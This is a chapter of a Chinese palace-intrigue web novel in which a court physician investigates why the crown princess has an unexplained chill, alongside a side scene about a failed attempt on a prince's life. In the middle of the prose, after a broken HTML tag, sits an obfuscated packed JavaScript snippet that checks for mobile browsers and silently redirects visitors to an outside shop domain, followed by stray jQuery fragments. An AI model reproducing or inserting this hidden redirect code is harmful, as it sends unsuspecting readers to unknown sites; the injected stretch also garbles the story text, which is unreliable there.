“仓促之间请你过来,是我多有打扰。”
东宫的后殿之中,崔令闻满脸歉疚,眼神却是充满了渴求。
杨湫坐在她对面,安静地听着。
“上次托你二姐问坐胎药的事,我便想,一定要找你来看看,杨院判,一切就拜托你了。”
当朝的太子妃已经失去平日里的端庄,急切地拉住杨湫的手:“朝中有人提议为太子再纳侧妃,尽快延绵子嗣。我实在是担忧。”
是了,太子妃迟迟未有子嗣,杨湫心想,这样她的地位未必稳若泰山。
更何况,崔令闻是杨鸢算出的天命之人,某种程度来说,她们也算同盟。
“娘娘放心,杨湫会尽力而为。”杨湫应允下来:“您和二姐颇有私交,自然也是杨湫的朋友。”
“那便太好了。”崔令闻几乎喜极而泣,用力点点头,眸中透露出些许好奇:“那,我们何时开始?”
杨湫略微沉吟,轻声道:“请娘娘伸出手来,我再为娘娘把脉。”
前往江南之前,她曾经摸过崔令闻的脉象:一切平常,隐隐有些寒气。
如今隔了几个月,寒气大增,令杨湫心内一惊,连忙问道:“娘娘近日可有服用什么药物?”
“哎?”崔令闻有些莫名,思忖片刻便答道:“上次听了你二姐转述,那坐胎药我便停了,并未再用。”
“是吗?”杨湫满腹狐疑收回手,微微蹙眉。
“是哪里有问题吗?”崔令闻顿时将心提到了嗓子眼。
“微臣不敢断言。眼下先为娘娘施针驱寒,在辅佐汤药,为娘娘调理体内寒气。”杨湫道。
崔令闻不明觉厉,屏退了周围的宫人,只留下自己的心腹陪嫁的几个丫鬟。
“你二姐提醒过,让我留意屋内陈设,这些东西,我都没有动过。”崔令闻的表情严肃起来:“我知道,其他重臣不满崔家,一定会想办法将我赶下去。”
“我的一应衣食住行,都是由身边人仔细检查过的,却仍然不知道哪里出了纰漏。”
听崔令闻如此说,杨湫轻轻点头,起身在屋中转了一圈。
“请娘娘继续留心,我为您诊治的消息,有心人一定会知晓,此人不希望娘娘有孕,一定会铤而走险。”
杨湫说罢,伸手捻出一根银针:“请娘娘宽衣。”
“杨院判小心,这边请。”崔令闻的贴身丫鬟香橼在前领路,送杨湫出去。
“香橼,这位是?”
面前迎面而来一位中年妇人,鬓发斑白,面容整肃,发髻梳的一丝不苟,看见杨湫迎面而来,抢先开了口。
“呀,是花嬷嬷。”香橼轻轻福身,声音轻快:“这位是太医院杨院判,来为娘娘调理身子的。”
花嬷嬷依旧面无表情,声音却略微缓和下来:“原来如此,有劳杨院判了。”
“分内之事,嬷嬷言重了。”杨湫道。
简单客套两句,花嬷嬷便继续往内院走去,杨湫转头看着她的背影,过了许久才收回视线。
“香橼,花嬷嬷是何人?”杨湫问道。
香橼眨眨眼,回答道:“花嬷嬷是殿下从宫里带过来的,平日里就负责教导宫女们。”
“嘻,院判别看嬷嬷不苟言笑,其实最是心软了。”
“原来如此。”杨湫微微颔首,对这位面冷心热的花嬷嬷算是有了个基础的认知。
“老奴拜见太子妃。”
花嬷嬷行过礼,目光里透露着一丝担忧,上下打量着崔令闻:“娘娘是身体不适吗?”
“没什么,就是调理一番,并没有生病。”崔令闻浅浅笑道:“您怎么来了?”
花嬷嬷闻言,终于松了口气,缓缓道:“见今日来的太医换了人,有些不放心。”
“她是杨监正的妹妹,精通医术,父皇特意准入太医院的。我是信得过的。”崔令闻道。
“那就好。”花嬷嬷长舒了一口气,正巧崔令闻身边的宫女要去煎药,花嬷嬷便主动请缨,将差事揽了下来。
“此事务必小心谨慎,就交给老奴来办吧。”
花嬷嬷毕竟是宫里的老资历,为人一向谨慎,崔令闻毫不犹豫,便交由她去办。
春风吹绿了柳枝,春光旖旎,柳絮落花飘飞之间,就到了康王正式开府。
定陵侯府一众人等只送了贺礼,毕竟侯爷新丧不满一年,也不好前去庆贺。
赵瑾虽然失落,也知道必须顾忌一二,只提前命人备好了回礼给侯府。
“司天监杨监□□上,大人为父守孝,不便前来,这是大人准备的乔迁之礼。”
耳畔忽然传来略有些耳熟的声音,赵瑾立刻回过头,余光捕捉到一个熟悉的人影,正想开口,便被一声通报打断。
“皇后娘娘驾到——”
赵瑾只得收回思绪,前去迎接谢芷君。
“快快免礼。”谢芷君也是第一次见到自己设计的园子落成,自然是感慨万千。
一想到自己唯一的孩子也长大成人,她心中便是百感交集。
赵瑾跟在谢芷君身后,悄悄回过头去寻找那个背影,却发现人已经消失无踪。
哼,总算让我逮到了你的狐狸尾巴,赵瑾悻悻想到,迟早抓到你本人。
他陪着谢芷君游园,看着庭中山水草木,一景一物,在心里发出一声喟叹。
京城,杨鸢宅中。
“贺礼送到,你回来的倒是快。”杨鸢放下手里的志怪传奇,抬头看着周瑄。
“皇后娘娘驾临,我怎么敢多待。”周瑄说得咬牙切齿:“你故意的?”
“我没那么大本事,能让皇后娘娘恰好去康王府邸。”杨鸢挑起眉头,道:“怎么,你不想见?”
“谁要你这样——”周瑄硬生生被气笑了:“非要促成这一面做什么。”
“那是你亲生母亲,见一面又如何?”杨鸢又翻过一页:“她也没发觉,不是吗。”
周瑄浅浅地叹了口气,垂下头不再说话。
“罢了,不提这件事了。我另有要事问你——”
杨鸢抬眸,眼神锋利如刀:“皇陵传来消息,齐王中风,落下了残疾。”
“对不起,失手了,没弄死他。”周瑄道。
他说得平淡如常,仿佛压根没把齐王的死活放在心上一般。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17541869|203441||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
“你何必以身犯险。”杨鸢问道。
“因为他对你,对侯府有不利的想法。”周瑄回答得坦坦荡荡:“我受不了。”
杨鸢微微一怔,只低声道了一句:“罢了。”
一晃半个月过去,杨湫每隔三日便来东宫为崔令闻施针。
“这副汤药下去,娘娘体内的寒气大有减缓。”
杨湫收回自己把脉的手,面上挂着清浅笑意:“不出两月,娘娘的症状会好转许多。”
“是吗?那真是太好了!”崔令闻喜出望外,激动地握住了杨湫的手。
花嬷嬷站在一旁,面上带着笑,似乎也是发自内心的高兴。
“这真是太好了。”花嬷嬷地语调都激动起来:“往日里娘娘日日服用坐胎药,没少吃苦头呢。”
“那些坐胎药并无问题,药性温和,的确有一定作用。”杨湫说罢,若有所思的看着崔令闻:“娘娘,您近日可有查出什么端倪?”
“花嬷嬷和香橼她们日夜留心,并未发现不妥之处。”崔令闻轻轻道。
“娘娘停用坐胎药之后,体内寒气骤然增长,应当是之前的药方里的几味热性药材克制之用。”
杨湫逐渐理清脉络,对崔令闻的症状更有掌握,她清了清嗓子道:“娘娘,这副药,您是从何时服用的?”
太医院开出的药方十分稳妥,并无任何问题,杨湫几番研究,同时找太医院院正讨教,二人对于崔令闻的脉象,都有了些新发现。
“这寒气不像是娘娘体内的,更像是从外沾染。微臣在太医院要来了娘娘这几年的脉案,有了些新发现。”
杨湫摊开崔令闻刚嫁入东宫那一年的记录,指着其中几条道:“自娘娘成婚以来,半年内并无异常,直到半年后,体内才开始积聚寒气。”
“花嬷嬷。”杨湫将视线转向花嬷嬷,表情严肃:“那段日子,娘娘的寝宫可有翻修?或是有其他变动?”
花嬷嬷立刻回忆起来,眼神骤然一亮:“老奴想起来了。”
她简洁快速地说明了事情经过:“如杨院判所言,那时娘娘的寝宫翻修过,着重修整了内室。”
“原来如此。花嬷嬷,我有一件事想请您帮忙。”
“杨院判请讲。”花嬷嬷毫不犹豫道。
“我想看当年翻修的记录,参与人员,动了哪些地方。”杨湫沉声道:“寒气从外沾染,只怕是当年有人动了手脚。”
花嬷嬷眸中闪过惊讶,立刻看向崔令闻,见崔令闻微微颔首,花嬷嬷立刻应了下来。
“娘娘放心,老奴亲自去办。”花嬷嬷低声道。
待花嬷嬷退出去,杨湫不由得地夸赞道:“这位嬷嬷,是个难得的稳妥人。”
“花嬷嬷是从小伺候殿下的,我入东宫后,她也帮了我许多。”崔令闻轻笑一声,说道:“别看她总是冷脸,其实是个热心人。”
“能有这样的人在身边,是一件大幸事。”
杨湫舒了口气,缓缓道:“人心复杂,宫闱之内算计背叛屡见不鲜,有花嬷嬷,是娘娘的福气。”
崔令闻听罢,同样莞尔一笑:“我也是如此认为。”